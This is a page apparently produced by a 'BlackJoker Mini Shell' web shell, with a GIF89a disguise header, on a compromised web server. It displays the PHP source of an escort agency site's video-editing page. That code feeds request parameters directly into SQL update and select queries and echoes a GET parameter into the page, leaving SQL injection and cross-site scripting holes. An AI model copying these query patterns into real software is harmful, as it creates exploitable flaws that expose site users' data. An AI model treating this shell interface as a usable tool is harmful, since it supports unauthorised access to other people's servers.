GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/edit-agencyestvideo.php

<?
  session_start();
    if(!($_SESSION['islogin']))
  {
	  ?>
      <script language="javascript">
	  location.href="index.php";
	  </script>
  <? }
 include("lib/globals.php");
 include("lib/common.php");
 include("lib/functions.php");
 ?>
 <?
	if ($_POST)
	{
		$title=$_POST['title'];
		$video_name=$_POST['video_name'];
		
		$sql_ind_escort2="update escort_details set vid_you_title='$title',vid_you='$video_name' where id='".$_POST['postid']."'";
					
			execute_query($sql_ind_escort2);
?>
		<script language="javascript">
                	location.href="edit-agencyestvideo.php?estid=<?=$_POST['postid']?>";
                </script>
<?
	}
?>
 
<? include "includes/header_top.php";?>

<body>

<script language="javascript">

	function validate()
	{		

		
		if(document.f22.video_name.value=="")
		{
			alert("Enter your Video url");
			document.f22.video_name.focus();
			return false;
		}
				
		
	}

	

</script>
<script>
      function del_record(id,name,page)
   {
	 var msg="Sure to delete your tour with all it's references ? ";
	 var choice=confirm(msg);
	 if(choice)
	 {
	   var target="delete_tour.php?id="+id;
	   //alert(target);
	   window.location.href=target;
	 }
   }
	
</script>

 <? include "includes/header.php";?>
	    
    <div class="main_bg">
   
 		<div style="height:32px;"></div>
        <div  style="width:1000px; margin:0 auto;">
        	
            <div class="statedetails">
                	<div class="stdtls_header">
                    	<span style="color:#000;">Home/My Account
                    </div>
                    <div class="stdtls_midder">
                    	<div style="height:10px;"></div>
                        	<?
							 $sql_postad="select * from escort_details where id='".$_GET['estid']."'";
							 $res_postad=execute_query($sql_postad);
							 $num_postad=mysql_num_rows($res_postad);
							 $row_postad=mysql_fetch_array($res_postad);
							?>
                    	<div class="left_containmain"> 
                        	<div style=" width:980px; margin:0 auto; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                          	<table border="0" cellpadding="0" cellspacing="0">
                            	<tr>
                                	<td class="updatehdrstyle23"><a href="agency-account.php"><img src="images/edit_profile.png" style="vertical-align:middle;" /><br/>My Profile</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="agency-escorts.php"><img src="images/add_escort.png" style="width:52px; height:52px; vertical-align:middle" /><br/>My Escorts</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="add-myvideos.php?pid=<?=$row_postad['id']?>"><img src="images/my_videos.png" style="width:55px; height:55px; vertical-align:middle" /><br/>My Videos</a></td>
                                    <!-- <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><img src="images/verifyimage.png" style="width:55px; height:55px; vertical-align:middle" /><br/> 100% verify</td>-->
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="add-mytours.php?pid=<?=$row_postad['id']?>"><img src="images/my_tour.png" style="width:55px; height:55px; vertical-align:middle" /><br/> My Tours</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><img src="images/my_reviews.png" style="width:55px; height:55px; vertical-align:middle" /><br/> My Reviews</td>
                                    
                                    
                                    
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                     <td class="updatehdrstyle23"><a href="contact_us.php"><img src="images/support.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Support</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="agencypassword-setting.php"><img src="images/settings.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Settings</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="logout.php"><img src="images/logout.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Logout</a></td>
                                    <!-- <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><img src="images/blacklist.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Black List</td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><img src="images/premium.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Premium</td>-->
                                    
                                
                                </tr>
                                <tr height="8"></tr>
                                <!--<tr>
                                	<td class="updatehdrstyle23"><a href="#"><img src="images/my_block.png" style="vertical-align:middle;" /><br/>Block</a></td>
                                    <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="contact_us.php"><img src="images/support.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Support</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="agencypassword-setting.php"><img src="images/settings.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Settings</a></td>
                                     <td width="20" align="center"><img src="images/accmenudivider.png" /></td>
                                    <td class="updatehdrstyle23"><a href="logout.php"><img src="images/logout.png" style="width:55px; height:55px; vertical-align:middle" /><br/>Logout</a></td>
                                
                                </tr>-->
                            	
                            </table>
            						
						
                        	</div>
                           <br/>                          
                           
                           <div style=" width:960px; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                          		
                               	<div class="postadpagebody">
                                	<h1>Edit Videos</h1>
                                   
                                    <div class="tourlist">
                                    <br/>
                                    	 <?
                                        	$sql_video="Select * from escort_details where id='".$_GET['estid']."'";
											$res_video=execute_query($sql_video);
											$row_profile=mysql_fetch_array($res_video);
											$video=explode("=",$row_profile['vid_you']);
											$vid_id=end($video);
											$vidoe="select * from default_video where id='1'";
											$resvid=execute_query($vidoe);
											$rowvid=mysql_fetch_array($resvid);
											$def_vid=explode("=",$rowvid['video_url']);
											$vdef=end($def_vid);
										?>
                                        <div style="width:650px; margin-top:10px; margin:0 auto;"><? if($vid_id!=""){?>
                                        	<iframe width="450" height="320" src="//www.youtube.com/embed/<?=$vid_id?>?modestbranding=1&rel=0&showinfo=0" frameborder="0" allowfullscreen></iframe>
                                        <? }else if($row_profile['def_video']=='u'){?>
                                        <iframe width="450" height="320" src="//www.youtube.com/embed/<?=$vdef?>?modestbranding=1&rel=0&showinfo=0" frameborder="0" allowfullscreen></iframe> 
                                        <? } else {?>
                                        <div>&nbsp;</div>
                                        <? }?></div>                                  
                                    
                                    </div>
                                    <div class="addtourlist">
                                    	
                                         <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>
										<script>
                                            function textCounter(field,field2,maxlimit)
                                        {
                                         var countfield = document.getElementById(field2);
                                         if ( field.value.length > maxlimit ) {
                                          field.value = field.value.substring( 0, maxlimit );
                                          return false;
                                         } else {
                                          countfield.value = maxlimit - field.value.length;
                                         }
                                        }
                                            $(document).ready(function() {
                                                $('.regcomactbar').click(function() {
                                                    $(this).closest("div").next().slideToggle();
                                                });
                                               
                                               $("#regcombutton").click(function () {
                                                    $("#regcomcontain").slideToggle();
                                                    
                                                });
                                                 
                                        
                                        });
                                        </script>
                                        <div id="regcombutton" class="addtourbotton">
                                        	<img src="images/addvideos.png" /><br/><br/>
                                        </div>
                                        <div id="regcomcontain" style="display:none;">
                                        	<form  action="<?=$_SERVER['PHP_SELF'] ?>" enctype="multipart/form-data"  method="post" name="f22" style="padding: 5px;" onSubmit="return validate();">
                                            <table border="0" cellpadding="0" cellspacing="0" style="margin:0 auto;">
                                            
                                            	<tr height="10"></tr>
                                                <tr>
                                                	<td class="jointext222">Video Title(Optional) :</td>
                                                    <td>
                                                    	<input type="text" id="title" class="main_input" name="title">
                                                    </td>
                                                </tr>
                                                <tr height="8"></tr>
                                                <tr>
                                                	<td class="jointext222">Video URL</td>
                                                    <td><input type="text" name="video_name" class="main_input" /><br/>
                                                    e.g. http://www.youtube.com/watch?v=LsmnLdeEWdk</td>
                                                </tr>                                              
                                                
                                                <tr height="15"></tr>
                                                <tr>
                                                	<td colspan="2" align="center">
                                                    <input type="image" src="images/submit.png" />
                                                    <input type="hidden" name="postid" value="<?=$_GET['estid']?>" />
                                                    </td>
                                                </tr>
                                                <tr height="15"></tr>
                                                
                                            
                                            </table>
                                           </form>
                                        </div>
                                    </div>
                                
                                </div>
                                
                                <br class="spacer" />
                               
            						
						
                        	</div>
                        <br class="spacer" />
                        </div>
                        
                         
                        
                        
                    
                    </div>
                    <div class="stdtls_footer"></div>
                </div>
            
            <br class="spacer" />
            
        </div>
     
 </div>

<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0